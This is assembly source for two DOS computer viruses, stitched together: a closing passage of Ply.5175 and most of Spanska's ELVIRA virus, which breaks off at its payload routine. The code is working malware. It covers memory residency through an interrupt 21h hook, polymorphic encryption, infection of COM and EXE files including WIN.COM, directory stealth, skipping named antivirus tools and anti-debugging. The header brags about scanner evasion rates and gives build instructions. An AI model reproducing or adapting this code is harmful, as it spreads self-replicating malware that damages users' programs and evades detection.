nop

mov ax,cs ; AX = code segment


nop
mov ds,ax ; DS = " "
nop

pop ax ; Load AX from stack


nop
nop
mov ds,ax ; DS = segment of disk transfer area
nop
pop dx ; Load DX from stack
nop
nop
mov ax,(1a00h+2020h) ; Set disk transfer area address
sub ax,2020h
mov dx,80h ; DX = offset of default disk tran...
int 21h
nop

mov ax,cs ; AX = code segment


nop
mov ds,ax ; DS = " "
nop

jmp virus_exit
examine_name:
mov al,'V'
nop
mov [bx+02h],al ; Correct the file specification

push di ; Save DI at stack


nop
nop
lea si,table_begin ; SI = offset of table_begin
add si,bp ; Add delta offset
nop
lea di,filename ; DI = offset of filename
add di,bp ; Add delta offset
nop
next_name:
mov bx,si ; BX = offset within table
nop
lodsb ; AL = size of filename
nop
nop
cmp al,00h ; End of table?
nop
je open_file ; Equal? Jump to open_file
nop

mov ah,00h ; AX = size of filename


nop
mov cx,ax ; CX = " " "
nop
add bx,cx ; BX = offset of next filename
nop
inc bx ; BX = " " " "
nop
nop

push di ; Save DI at stack


nop
nop
rep cmpsb ; Compare filename with filname in...
nop
pop di ; Load DI from stack
nop
nop
je jmp_fnd_nxt ; Equal? Jump to jmp_fnd_nxt
nop

mov si,bx ; SI = offset of next filename


nop

jmp next_name
nop
jmp_fnd_nxt:
pop di ; Load DI from stack
nop
nop

jmp find_next
open_file:
pop di ; Load DI from stack
nop
nop

lea si,file_header ; SI = offset of file_header


add si,bp ; Add delta offset
nop

mov ax,3d00h ; Open file (read)


lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
mov bx,ax ; BX = file handle
nop

mov ah,3fh ; Read from file


nop
mov dx,si ; DX = offset of file_header
nop
mov cx,1ah ; Read twenty-six bytes
int 21h
nop

mov ah,3eh ; Close file


nop
int 21h
nop

mov ax,('ZM'+2020h) ; EXE signature


sub ax,2020h
cmp [si],ax ; Found EXE signature?
nop
je examine_file ; Equal? Jump to examine_file
nop

xchg ah,al ; Exchange EXE signature


nop
cmp [si],ax ; Found EXE signature?
nop
je examine_file ; Equal? Jump to examine_file
nop
jmp_fnd_nxt_:
jmp find_next
examine_file:
mov ax,2020h
cmp [si+12h],ax ; Already infected?
je jmp_fnd_nxt_ ; Equal? Jump to jmp_fnd_nxt_
nop

mov ax,(4301h-2020h) ; Set file attributes


add ax,2020h
xor cx,cx ; CX = new file attributes
nop
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop

mov ax,(3d02h-2020h) ; Open file (read/write)


add ax,2020h
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
mov bx,ax ; BX = file handle
nop

mov ax,4202h ; Set current file position (EOF)


xor cx,cx ; Zero CX
nop
xor dx,dx ; Zero DX
nop
int 21h
nop

mov ax,(4000h-2020h) ; Write to file


add ax,2020h
mov cx,(code_end-code_begin)
lea dx,code_begin ; DX = offset of code_begin
add dx,bp ; Add delta offset
nop
int 21h
nop

mov ax,[si+08h] ; AX = header size in paragraphs


mov cl,04h ; Multiply by paragraphs
nop
shl ax,cl ; AX = header size
nop
push bx ; Save BX at stack
nop
nop
xchg ax,bx ; BX = header size
nop
nop

mov ax,[di+1ah] ; AX = low-order word of filesize


mov dx,[di+1ch] ; DX = high-order word of filesize
push ax ; Save AX at stack
nop
nop
push dx ; Save DX at stack
nop
nop

sub ax,bx ; Subtract header size from filesize


nop
sbb dx,00h ; Convert to 32-bit
mov cx,10h
div cx ; Divide by paragraphs
nop
mov cx,dx ; CX = low-order word of filesize ...
nop
lea bx,entry_point-100h ; BX = offset of entry_point
add dx,bx ; Add offset of entry_point to low...
nop
mov [si+14h],dx ; Store instruction pointer
mov [si+16h],ax ; Store code segment

lea bx,delta_offset ; BX = offset of delta_offset


add bx,bp ; Add delta offset
nop
mov [bx],cx ; Store delta offset
nop

inc ax ; Increase AX
nop
nop
mov [si+0eh],ax ; Store stack segment

mov dx,cx ; DX = low-order word of filesize ...


nop
mov ax,(code_end-code_begin+0c0h)
add dx,ax ; DX = stack pointer
nop
mov ax,1111111111111110b
and dx,ax ; DX = " "
nop
mov [si+10h],dx ; Store stack pointer

mov ax,2020h ; AX = infection mark


mov [si+12h],ax ; Store infection mark
pop dx ; Load DX from stack
nop
nop
pop ax ; Load AX from stack
nop
nop
add ax,(code_end-code_begin)
adc dx,00h ; Convert to 32-bit

mov cl,09h
nop
push ax ; Save AX at stack
nop
nop
shr ax,cl ; Multiply by pages
nop
ror dx,cl ; " " "
nop
stc ; Set carry flag
nop
nop
adc dx,ax ; DX = total number of 512-bytes p...
nop
pop ax ; Load AX from stack
nop
nop
and ah,00000001b
mov [si+04h],dx ; Store totalt number of 512-bytes...
mov [si+02h],ax ; Number of bytes in last 512-byte...
pop bx ; Load BX from stack
nop
nop

mov ax,4201h ; Set current file position (CFP)


mov cx,-01h
mov dx,-(code_end-delta_offset)
int 21h
nop

mov ax,(4000h-2020h) ; Write to file


add ax,2020h
mov cx,02h ; Write two bytes
lea dx,delta_offset ; DX = offset of delta_offset
add dx,bp ; Add delta offset
nop
int 21h
nop

mov ax,4200h ; Set current file position (SOF)


xor cx,cx ; Zero CX
nop
xor dx,dx ; Zero DX
nop
int 21h
nop

mov ax,(4000h-2020h) ; Write to file


add ax,2020h
mov cx,1ah ; Write twenty-six bytes
mov dx,si ; DX = offset of file_header
nop
int 21h
nop

mov ax,(5701h-2020h) ; Set file's date and time


add ax,2020h
mov cx,[di+16h] ; CX = file time
mov dx,[di+18h] ; DX = file date
int 21h
nop

mov ah,3eh ; Close file


nop
int 21h
nop

mov ax,(4301h-2020h) ; Set file attributes


add ax,2020h
mov ch,00h ; Zero CH
nop
mov cl,[di+15h] ; CL = file attribute
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop

jmp find_next
virus_exit:
mov ax,1202h ; Get interrupt address
mov dx,24h ; Get interrupt address of interru...
call int2f_simula

mov ax,cs ; AX = code segment


nop
mov es,ax ; ES = " "
nop

mov ax,(24h*04h) ; AX = offset of interrupt vector 24h


cmp bx,ax ; Debugging?
nop
je virus_exit_ ; No debugging? Jump to virus_exit_
nop

mov ax,3500h ; Get interrupt vector 00h


int 21h
nop

lea si,int01_off ; SI = offset of int01_off


add si,bp ; Add delta offset
nop
lodsw ; AX = offset of interrupt 01h
nop
nop
mov dx,ax ; DX = " " " "
nop

mov ax,es ; AX = segment of interrupt 00h


nop
mov ds,ax ; DS = " " " "
nop

mov ax,(2501h-2020h) ; Set interrupt vector 01h


add ax,2020h
int 21h
nop

mov ax,cs ; AX = code segment


nop
mov ds,ax ; DS = " "
nop
mov es,ax ; ES = " "
nop
eternal_loop:
jmp eternal_loop
nop
virus_exit_:
mov ah,62h ; Get current PSP address
nop
int 21h
nop
mov es,bx ; ES = segment of PSP for current ...
nop

mov cx,bx ; CX = " " " " " "


nop
add cx,10h ; CX = segment of beginning of code

lea si,instruct_ptr ; SI = offset of instruct_ptr


add si,bp ; Add delta offset
nop

add [si+02h],cx ; Add segment of beginning of code...


add cx,[si+04h] ; Add original stack segment to se...

cli ; Clear interrupt-enable flag


nop
nop
xor ax,ax ; Zero AX
nop
poly_end:
mov sp,[si+06h] ; SP = stack pointer
mov ss,cx ; SS = stack segment
sti ; Set interrupt-enable flag

push ax ; Save AX at stack

mov ds,bx ; DS = segment of PSP for current ...

db 0eah ; JMP imm32 (opcode 0eah)


instruct_ptr dw ? ; Instruction pointer
code_seg dw ? ; Code segment

stack_seg dw ? ; Stack segment


stack_ptr dw ? ; Stack pointer

int24_virus proc near ; Interrupt 24h of Ply.5175


mov al,03h ; Fail system call in progress

int01_virus proc near ; Interrupt 01h of Ply.5175


int2a_virus proc near ; Interrupt 2ah of Ply.5175
iret ; Interrupt return!
endp
endp
endp

int2f_simula proc near ; Simulate interrupt 21h


push dx ; Load DX from stack
pushf
db 9ah ; CALL imm32 (opcode 9ah)
int2f_addr dd ? ; Address of interrupt 2fh

pop dx ; Load DX from stack

ret ; Return!
endp

int21_simula proc near ; Simulate interrupt 21h


segcs ; Code segment as source segment
int 21h
nop

ret ; Return!
endp

db 00h
int01_off dw ? ; Offset of interrupt 01h
db 00h
entry_point:
jmp code_begin

file_specifi db '*.VXE',00h ; File specification


file_header dw 0ah dup(?),00h,0fff0h,?
db 00h
poly_buffer db 03h dup(?) ; Polymorphic buffer
table_begin db 04h,'AVP.' ; AntiViral Toolkit Pro
db 08h,'AVPLITE.' ; AVPLite
db 06h,'AVPVE.' ; AVP Virus Encyclopedia
db 04h,'BAIT' ; Bait file
db 06h,'EICAR.' ; EICAR-ANTIVIRUS-TEST-FILE
db 07h,'EMM386.' ; Microsoft expanded memory manage...
db 07h,'F-PROT.' ; F-PROT
db 06h,'FV386.'
db 05h,'FV86.'
db 05h,'MSAV.' ; Microsoft Anti-Virus
db 09h,'MVTOOL10.'
db 05h,'SCAN.' ; McAfee ViruScan
db 07h,'TBSCAN.' ; Thunderbyte virus detector
db 05h,'TBAV.' ; Thunderbyte menu
db 08h,'TBCHECK.' ; TbCheck, Resident integrity checker
db 08h,'TBCLEAN.' ; Thunderbyte clean utility
db 07h,'TBDISK.' ; TbDisk, Disk guard
db 09h,'TBDRIVER.' ; TbDriver, TBAV TSR utilities
db 07h,'TBFILE.' ; TbFile, software guard
db 09h,'TBGENSIG.' ; TbGenSig, signature file compiler
db 06h,'TBKEY.' ; TbKey
db 06h,'TBLOG.' ; TbLog, TBAV automatic log utility
db 06h,'TBMEM.' ; TbMem, Memory guard
db 08h,'TBSETUP.' ; Thunderbyte software setup
db 08h,'TBSCANX.' ; TbScanX resident virus scanner
db 07h,'TBUTIL.' ; TbUtil
db 09h,'VALIDATE.' ; VALIDATE
db 08h,'VIRSTOP.' ; VIRSTOP
db 05h,'VIRUS' ; Bait file
db 05h,'VPIC.' ; Picture file viewer
db 06h,'VSAFE.' ; VSafe
db 00h
table_end:
db 00h,00h
_ncdtree db '\NCDTREE',00h
db 'PLY' ; Name of the virus
poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?))
code_end:
dta:
db 15h dup(?) ; Used by DOS for find next-process
file_attr db ? ; File attribute
file_time dw ? ; File time
file_date dw ? ; File date
filesize dd ? ; Filesize
filename db 0dh dup(?) ; Filename
data_end:

end code_begin
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[PLY_5175.ASM]ÄÄ
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ ELVIRA virus by Spanska ³
; ³ Called Spanska.4250 by AV people ³
; ³ This is my fourth virus ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
;
; *********************************************************************
; This virus is dedicated to a girl with black hairs and
; green eyes, a so lovely vampyre haunting Paris nights.
;
; - Greets to my friend VicodinES, Roadkill and all 29A guys
; (next time, don't fuck the cyberbar computers with your
; viruses! The day after, i couldn't send a mail to my girl.
; And for the next meeting, i will try to get up for the
; night rendez-vous in the Gran Via McDonald :)
; - French virus coders, where are you? I feel alone...
; ******************************contact me at el_gato@rocketmail.com***
;
;
; At the time it was released (September 97), the heuristic
; detection on 100 infected bait files was:
; - TBSCAN 7.07 0/100
; - TBSCANW 7.06 5/100
; - FPROT 2.26 2/100
; - AVP 3.0 (1.08) 0/100
; - FINDVIRUS 7.69 0/100
; - DRWEB 20/100
;
; generation zero size: 4297 bytes
; virus size: 4250 bytes
;
; compile it with TASM /m2 and TLINK /t
;
; Properties:
; TSR/runtime COM/EXE semi-stealth polymorphic
; Signature: "k" and seconds = 30
; No infection of some AV or command.com
; Disables stealth routine in case of archiver execution
; Immediately infects win.com (so it can infect all DOS programs
; under W3.1 or W95).
; Graphical payload with 3 messages in french, english and spanish
; (Star-Wars like effect, see extracted routine in elvira-g.com)
; Slow poly (just 365 possibilities because i'm an idiot)
;
; About the poly routine:
; As you can see, the poly engine is a very simple routine. Each
; instruction on the decryptor is set to a fixed size block (what
; i call "mutation" in the source. There are 14 different blocks.
; For each of these blocks, i have a stock of something like 10
; similar ones that perform the same operation, but with different
; manner (see end of virus; for exemple, i have 12 ways to get
; the delta offset in 23 bytes). This lame engine has some
; advantages. 1/ It's very easy and quick to code. 2/ You can add
; very easily new blocks in the stock, for example to make new
; undetectable strains. 3/ You can have a great strain variability,
; just limited by your imagination (think all the possible manners
; to replace a "mov ax, bx" or a "call XX"). Of course, there are
; some problems. 1/ Mutation start always at same offset. 2/ You
; sometimes have to "fill the holes" in blocks (with nops for
; example). 3/ Mutation stocks are big (in this virus, 2000-2500
; bytes).

code segment
assume ds:code, ss:code, cs:code, es:code
org 100h

start:
db 0E9h, 2Ch, 00 ;jmp start_virus
signature db "k" ;signature

;******************FAKE HOST***************************
mov dx, offset message ;*
mov ah, 09h ;*
int 21h ;*
mov ax,4c00h ;*
int 21h ;*
message db "------Fake host execution-----$" ;*
;******************************************************

start_virus:

mutation0:
db 0B8h, 38h, 1 ;mov ax, offset delta
db 0B9h, 0Eh, 0 ;mov cx, offset mutation1-delta
call $+3
;delta:
mov bx, sp
mov dx, ss:[bx]
sub dx, ax
mov bp, dx
add ss:[bx], cx
ret
clc

mutation1:
push es
push ds
push cs
push cs
pop es
pop ds
db 14 dup (90h)

mutation2:
db 0EBh, 0Eh ;jmp decrypte
nop
nop
nop

mutation3:
baise_flag_cryptage:
stosb
nop
nop
nop
nop
nop

mutation4:
ret
nop
nop
nop
nop
;
;----------------------decrypting routine-------------------------
;
decrypte:

mutation5:
mov cx, fin_cryptage-debut_cryptage
nop
nop
nop

mutation6:
lea si, [bp+offset debut_cryptage]
nop
nop
nop
nop
nop
nop

mutation7:
mov di, si
nop
nop

mutation8:
mov dl, cs:[bp+offset clef]
nop
nop
nop
nop
nop

mutation9:
xor_loop:
lodsb
nop
nop
nop
nop
nop

mutation10:
xor al, dl
nop
nop
nop
nop
nop
nop
nop
nop

mutation11:
call baise_flag_cryptage
db 90h, 90h, 90h, 90h, 90h
db 90h, 90h, 90h, 90h

mutation12:
dec cx
nop
nop
nop
nop
mutation13:
cmp cx, 0
nop
nop
nop

mutation14:
jne xor_loop
db 90h, 90h, 90h
db 90h, 90h

debut_cryptage: ;end of polymorphic decryptor

;***************** save original es, ds *******************

pop ds
pop es
push es
push ds

;************* test if virus is already resident ******************

mov ax, 6969h


int 21h ;is my handler here?
cmp bx, 6969h ;if yes, bx = 6969h
jne va_resident ;no => go resident
jmp deja_installe ;yes => stop

;********************* go TSR ***************************

va_resident:

push 4a00h
pop ax
mov bx,0ffffh ;is there some free memory?
int 21h ;return bx = memory - max size

sub bx,((endvirus-start_virus+0fh)/10h)*2+1 ;substract what we need


;now bx=wanted paragraphs
push 4a00h
pop ax
int 21h ;return es = free block segment

push 4800h ;set memory


pop ax
mov bx,((endvirus-start_virus+0fh)/10h)*2
int 21h ;return ax = free segment

dec ax
mov es,ax ;es points on the
inc ax ;new MCB

mov byte ptr es:[0],'Z' ;mark it as the last one


mov cx, 8 ;owner = dos
mov word ptr es:[1],cx

mov cx, cs ;copy virus in memory


mov ds, cx
lea si, [bp+offset start_virus]
mov es, ax
xor di, di
mov cx, endvirus-start_virus
rep movsb
push ax

;********** install my interruption 21 ************************

installe:

;------ 1) get the old interruption vector

push 3521h
pop ax
int 21h ;return bx=offset, es=segment
pop ds
mov ds:[offset ip_21-offset start_virus], bx ;save offset
mov ds:[offset cs_21-offset start_virus], es ;save segment

;------ 2) put my own vector

mov dx, [offset nouvelle_int_21-offset start_virus]


push 2522h
pop ax
dec ax ;avoid flag M
int 21h

;------ 3) Am i WIN.COM?

mov word ptr ax, cs:[104h] ;bytes 4 and 5 of WIN.COM de W95


cmp ax, 0E1Fh
jne i_am_not_win
mov word ptr ax, cs:[106h] ;bytes 6 and 7 of WIN.COM de W95
cmp ax, 0E807h
je i_am_win

i_am_not_win:
call infecte_win ;infect win.com

i_am_win:
jmp deja_installe

;******************** my interruption 21 *****************************

nouvelle_int_21:

cmp byte ptr cs:[stealth_non-start_virus], 0FFh ;archiver: no stealth


je saute_dir_stealth

xor ah, 55h


cmp ah, 44h ;dir?
je dir_stealth
cmp ah, 47h ;dir?
je dir_stealth
xor ah, 55h
saute_dir_stealth:

xor ax, 5555h ;avoid flag L


cmp ax, 1E55h ;program execution?
jne suite ;no => continue
xor ax, 5555h
jmp infecte ;yes => infect program
suite:
xor ax, 5555h
cmp ax, 6969h ;residency test?
jne vieille_int_21 ;no => let's continue with old int
xchg ax, bx ;yes => put 6969h in bx
iret ;and return to program

;***************** old interruption 21 *************************

vieille_int_21:
db 0EAh ;EAh=JMP FAR
ip_21 dw ? ;offset old int
cs_21 dw ? ;segment old int
iret

;****************** directory stealth ********************************

dir_stealth:
xor ah, 55h
pushf ;simulation of an int 21h, so push flags
push cs ;and segment
call vieille_int_21 ;call old int 21h
or al, al ;if al=0 all is OK
jnz exit_fcb ;if al<>0 stop stealth

push ax
push bx
push es
push 5100h ;get current psp
pop ax
int 21h ;return segment psp in bx, offset in dx
mov es, bx ;now es = segment psp
cmp bx, es:[16h] ;come from DOS?
jnz exit_fcb2 ;no => stop stealth
mov bx, dx ;bx= psp offset
mov al, [bx] ;extended fcb?
push ax ;save marker of extended fcb
push 2F00h ;get current dta
pop ax
int 21h ;return in es:bx dta position
pop ax ;get back fcb marker
inc al ;FFh+1=0, so if extended z=0
jnz no_fix ;no extended
add bx, 7 ;extended: offset is 7 bytes more
no_fix:
mov al, es:[bx+17h] ;time in al
and al, 00011111b ;just look at seconds
xor al, 00001111b ;seconds = 30?
jne exit_fcb2 ;no => stop stealth
cmp word ptr es:[bx+1fh], 0 ;prog<65000?
jne soustraction ;no => stealth it
cmp word ptr es:[bx+1dh], 500+endvirus-start_virus ;prog<virus size+500?
jb exit_fcb2 ;yes => no stealth
soustraction:
sub word ptr es:[bx+1dh], endvirus-start_virus ;substract virus size
sbb word ptr es:[bx+1fh], 0
exit_fcb2:
pop es
pop bx
pop ax
exit_fcb:
iret

;********************* INFECTION ***************************************

infecte:
pushf
push ax
push bx
push cx
push dx
push si
push di
push es
push ds

;---- 1) do not infect an anti-virus

mov si, dx ;ds:dx = offset program name


mov di, offset av_liste-start_virus ;in di, offset AV list

cherche_extension: ;find extension


lodsb
cmp al, "."
jnz cherche_extension

lodsw
mov cs:[f_ext-start_virus], ax ;put extension in memory
lodsb
mov cs:[f_ext-start_virus+2], al

cherche_debut: ;find start of program name


dec si
dec si
lodsb
cmp al, "\"
jne cherche_debut

mov cs:[f_name-start_virus], ds ;put segment/offset of program name


mov cs:[f_name-start_virus+2], si ;in memory

push cs ;scasw uses es:di


pop es ;so exchange segments

lodsw ;get 2 first letters


mov cx, 13 ;12 AV names to compare + COMMAND.COM
repne scasw ;compare
jne av_ok
jmp redonne_la_main ;it's an AV => do not infect
av_ok:

mov byte ptr cs:[stealth_non-start_virus], 0 ;switch to zero


mov cx, 5 ;5 archivers
repne scasw ;test names
jne zip_ok
mov byte ptr cs:[stealth_non-start_virus], 0FFh ;it's an archiver
zip_ok:

;----- 2) open file and read header

mov ds, cs:[f_name-start_virus] ;file name in


mov dx, cs:[f_name-start_virus+2] ;ds:dx for attribs

push 4300h ;get attribs in al


pop ax
int 21h
mov byte ptr cs:[f_attrib-start_virus], al ;attribs in memory

xor cx, cx
push 4301h ;attribs to zero
pop ax
int 21h

mov ax, 03d02h ;open file in read/write


int 21h
jnc cont
jmp redonne_la_main_attributs ;problem? do not infect

cont:
xchg ax, bx ;handle in bx
mov word ptr cs:[f_handle-start_virus], bx

push cs ;all segments point


push cs ;to virus code
pop es
pop ds

push 5700h ;get time/date


pop ax
int 21h
mov cs:[f_time-start_virus], cx ;in memory
mov cs:[f_date-start_virus], dx

mov ax, 3F00h ;read file


mov cx, 1ch ;1Ch first bytes
mov dx, offset exehead-start_virus ;in their buffer
int 21h

;---- 3) is it an exe or a com?

cmp ds:[f_ext-start_virus], "XE"


jne compare_suite
cmp byte ptr ds:[f_ext-start_virus+2], "E"
jne compare_suite
jmp infecte_exe

compare_suite:
cmp ds:[f_ext-start_virus], "OC"
jne pas_bonne_ext
cmp byte ptr ds:[f_ext-start_virus+2], "M"
je infecte_com

pas_bonne_ext:
jmp ferme_et_redonne_la_main_sans_infection

;---- 4) COM infection

infecte_com:
cmp byte ptr ds:[exehead-start_virus+3], "k" ;already infected?
jz pas_bonne_ext ;yes => do not infect

mov si, offset exehead-offset start_virus ;transfert 4 bytes


mov di, offset contenu-offset start_virus ;from buffer to new location
movsw
movsw

mov ax, 4202h ;pointer at the end of file


push ax ;return size in ax
pop ax
xor cx, cx
xor dx, dx
int 21h
cmp ax, 56000 ;no infection if
jb verif_trop_petit
jmp ferme_et_redonne_la_main_sans_infection ;.com is > 56000
verif_trop_petit:
cmp ax, 500
ja ecriture_com
jmp ferme_et_redonne_la_main_sans_infection ;or < 500

ecriture_com:
sub ax, 3 ;size-3 (cause JMP at start)
push ax ;save corrected size

CALL POLY_DEPUIS_RESIDENT

push 4000h ;write decryptor


pop ax
xor dx, dx
mov cx, debut_cryptage-start_virus
int 21h

push 4000h ;write encrypted body


pop ax
mov dx, offset heap-start_virus
mov cx, endvirus-debut_cryptage
int 21h

mov di, offset exehead-offset start_virus ;adjust buffer


mov al, 0E9h ;with a jump
stosb
pop ax
stosw ;then corrected size
mov al, "k"
stosb ;then signature

mov ax, 4200h ;pointer at file start


push ax
pop ax
xor cx, cx
xor dx, dx
int 21h

push 4000h ;overwrite 4 first bytes


pop ax ;with JMP+signature
mov cx, 4
mov dx, offset exehead-start_virus
int 21h

jmp ferme_et_redonne_la_main

;----- 5) EXE infection

infecte_exe:
cmp byte ptr ds:[exehead-start_virus+18h], 40h ;windows file?
je exe_pas_bon ;yes => stop
cmp byte ptr ds:[exehead-start_virus+12h], "k" ;already infected?
je exe_pas_bon ;yes => stop
mov ax, word ptr ds:[exehead-start_virus] ;good MZ header?
add ah, al ;add M+Z
cmp ah,0A7h ;avoid flag Z
je exe_bon

exe_pas_bon:
jmp ferme_et_redonne_la_main_sans_infection
exe_bon:

;save header values

mov di, offset vIP-offset start_virus


mov ax, word ptr cs:[exehead-start_virus+14h]
stosw
mov ax, word ptr cs:[exehead-start_virus+16h]
stosw
mov ax, word ptr cs:[exehead-start_virus+0Eh]
stosw
mov ax, word ptr cs:[exehead-start_virus+10h]
stosw

mov ax, 4202h ;pointer at file end


push ax ;return size in dx:ax
pop ax
xor cx, cx
xor dx, dx
int 21h
push ax ;save size
push dx

; calculate new CS:IP

push ax
mov ax, word ptr cs:[exehead-start_virus+08h]
mov cl, 4
shl ax, cl
mov cx, ax
pop ax
sub ax, cx
sbb dx, 0

mov cl, 0Ch


shl dx, cl
mov cl, 4
push ax
shr ax, cl
add dx, ax
shl ax, cl
pop cx
sub cx, ax

mov word ptr cs:[exehead-start_virus+14h], cx ;new CS:IP values


mov word ptr cs:[exehead-start_virus+16h], dx
inc dx ;avoid flag K
mov word ptr cs:[exehead-start_virus+0Eh], dx ;new SS:SP values
mov word ptr cs:[exehead-start_virus+10h], 0FFFEh

; calculate new size

pop dx
pop ax
push ax
add ax, endvirus-start_virus
adc dx, 0
mov cl, 7
shl dx, cl
mov cl, 9
shr ax, cl
add ax, dx
inc ax
mov word ptr cs:[exehead-start_virus+04h], ax
pop ax
add ax, endvirus-start_virus
and ah, 1
mov word ptr cs:[exehead-start_virus+02h], ax

mov word ptr cs:[exehead-start_virus+12h], "k" ;write signature

mov ax, 4202h ;pointer at file end


push ax
pop ax
xor cx, cx
xor dx, dx
int 21h

CALL POLY_DEPUIS_RESIDENT

push 4000h ;write decryptor


pop ax
xor dx, dx
mov cx, debut_cryptage-start_virus
int 21h

push 4000h ;write encrypted body


pop ax
mov dx, offset heap-start_virus
mov cx, endvirus-debut_cryptage
int 21h

mov ax, 4200h ;pointer at file start


push ax
pop ax
xor cx, cx
xor dx, dx
int 21h

push 4000h ;overwrite exe header


pop ax
mov cx, 1ch
mov dx, offset exehead-start_virus
int 21h

jmp ferme_et_redonne_la_main

;----- 6) close and return to program

ferme_et_redonne_la_main_sans_infection:

mov cx, cs:[f_time-start_virus] ;get time/date from memory


mov dx, cs:[f_date-start_virus]
jmp time_date

ferme_et_redonne_la_main:

mov cx, cs:[f_time-start_virus] ;get time/date from memory


mov dx, cs:[f_date-start_virus]

and cl, 11100000b ;change seconds to 30


xor cl, 00001111b ;as an infection marker

time_date:
push 5701h ;change time/date
pop ax ;avoid flag F
int 21h

mov ax, 3e00h ;close file


int 21h

redonne_la_main_attributs:

mov ds, cs:[f_name-start_virus] ;file name in


mov dx, cs:[f_name-start_virus+2] ;ds:dx for attribs

xor ch, ch
mov byte ptr cl, cs:[f_attrib-start_virus] ;set back attribs
push 4301h
pop ax
int 21h

redonne_la_main:

pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf

jmp vieille_int_21 ;after infection, continue with normal int

;****** if program is already resident, or after going TSR *********

deja_installe:
pop ds ;get original segments
pop es

;******************* bomb or not bomb? **********************************

bombe_ou_pas:
mov ah, 2Ch ;internal clock: return ch=hour and cl=minute
int 21h
cmp cl, 30d ;are we at 30'?
jne com_ou_exe ;no => terminate
cmp dh, 15d ;yes => test seconds
ja com_ou_exe ;if seconds > 15 we finish
jmp bombe ;if seconds < 15 the bomb explodes! (1/240)

;************* terminate a com or an exe? ****************

com_ou_exe:
cmp byte ptr cs:0, 0CDh ;a COM always have an INT 20h at offset 0
je redonne_main_com

;------ 1) terminate an exe

mov ax, es
add ax, 10h
add word ptr cs:[bp+vCS], ax
cli
add ax, word ptr cs:[bp+vSS]
mov ss, ax
mov sp, word ptr cs:[bp+vSP]
sti
call annuler_registres

db 0EAh ;far jump to the original exe code


contenu:
vIP dw 9090h ;buffer to stock original file info
vCS dw 9090h ;EXE: stock ip, cs, ss, sp
vSS dw 9090h ;COM: stock les 5 premiers octets
vSP dw 9090h

;----- 2) terminate a com

redonne_main_com:
mov cx, word ptr [bp+offset contenu] ;transfer 4 first bytes
mov cs:[100h], cx ;to file start in memory
mov cx, word ptr [bp+offset contenu+2] ;avoid flag O
mov cs:[102h], cx

mov di, 101h ;put 100h into stack for the RET
dec di ;avoid flag B
push di

call annuler_registres

ret

;----- all registers to zero

annuler_registres:
xor ax, ax
xor bx, bx
xor cx, cx
xor dx, dx
xor di, di
xor si, si
xor bp, bp
ret

;**********************************************************************
;*************** infect win.com in runtime mode ***********************
;**********************************************************************

infecte_win:
push ds
push es

push cs
push cs
pop ds
pop es

mov cx, 0007h ;all attribs


lea dx, cs:[bp+offset file_win] ;ds:dx= file name (win.com)
mov ax, 4e00h ;find file
int 21h
jnc suite_win
jmp fin_win

suite_win:
push 4300h
pop ax
int 21h
mov byte ptr cs:[bp+f_attrib], al ;attribs in memory
xor cx, cx
push 4301h ;attribs to zero
pop ax
int 21h

mov ax, 3D02h ;open file


lea dx, cs:[bp+offset file_win] ;to file name
int 21h
jc remise_en_etat2

xchg ax, bx ;handle in bx


mov word ptr cs:[bp+f_handle], bx ;and in memory

push 5700h ;get time/date


pop ax
int 21h
mov word ptr cs:[bp+f_time], cx ;in memory
mov word ptr cs:[bp+f_date], dx

mov cx, 4 ;4 bytes to read


mov ax, 3F00h ;read file
lea dx, cs:[bp+offset exehead] ;buffer
int 21h
jc remise_en_etat

cmp byte ptr cs:[bp+offset exehead+3], "k" ;already infected?


jne continue_inf_win ;no => continue

remise_en_etat:
mov ah, 3Eh ;close file
int 21h

remise_en_etat2:
mov cl, byte ptr cs:[bp+offset f_attrib] ;attribs in cl
lea dx, [bp+offset file_win]
push 4301h ;change attribs
pop ax ;avoid flag F
int 21h
jmp fin_win

continue_inf_win:
lea si, cs:[bp+offset contenu] ;4 first bytes
lea di, cs:[bp+offset win4octets] ;in a temp buffer
movsw
movsw

lea si, cs:[bp+offset exehead]


lea di, cs:[bp+offset contenu]
movsw
movsw

;---------pointer to end of disk file (return size in dx:ax)---------

mov ax, 4202h


push ax
pop ax
xor cx, cx
xor dx, dx
int 21h

sub ax, 3 ;size-3 (cause JMP at start)


push ax ;remember size
CALL POLY_DEPUIS_RUNTIME ;poly, but from runtime routine

push 4000h ;write decryptor


pop ax
lea dx, cs:[bp+offset start_virus]
mov cx, debut_cryptage-start_virus
int 21h

push 4000h ;write encrypted body


pop ax
lea dx, cs:[bp+offset heap]
mov cx, endvirus-debut_cryptage
int 21h

lea di, [bp+offset exehead] ;adjust buffer


mov al, 0E9h ;with a jump
stosb
pop ax
stosw ;and with size-3
mov al, "k"
stosb ;and then signature

mov ax, 4200h ;pointer at file start


push ax
pop ax
xor cx, cx
xor dx, dx
int 21h

push 4000h ;overwrite 4 first bytes


pop ax
mov cx, 4
lea dx, [bp+offset exehead]
int 21h

mov cx, cs:[bp+f_time] ;get time/date


mov dx, cs:[bp+f_date]

and cl, 11100000b ;seconds to 30


xor cl, 00001111b ;as infection marker

push 5701h ;change time/date


pop ax ;avoid flag F
int 21h

mov ah, 3Eh ;close file


int 21h

mov cl, byte ptr cs:[bp+offset f_attrib] ;attribs in cl


lea dx, cs:[bp+offset file_win]
push 4301h ;change attribs
pop ax ;avoid flag F
int 21h

lea si, cs:[bp+offset win4octets] ;get back 4 win.com


lea di, cs:[bp+offset contenu] ;first bytes
movsw
movsw

fin_win:
pop es
pop ds
ret

;*******************************************************
;******************** BOMB *****************************
;*******************************************************

bombe:
largeur equ 255
profondeur equ 40

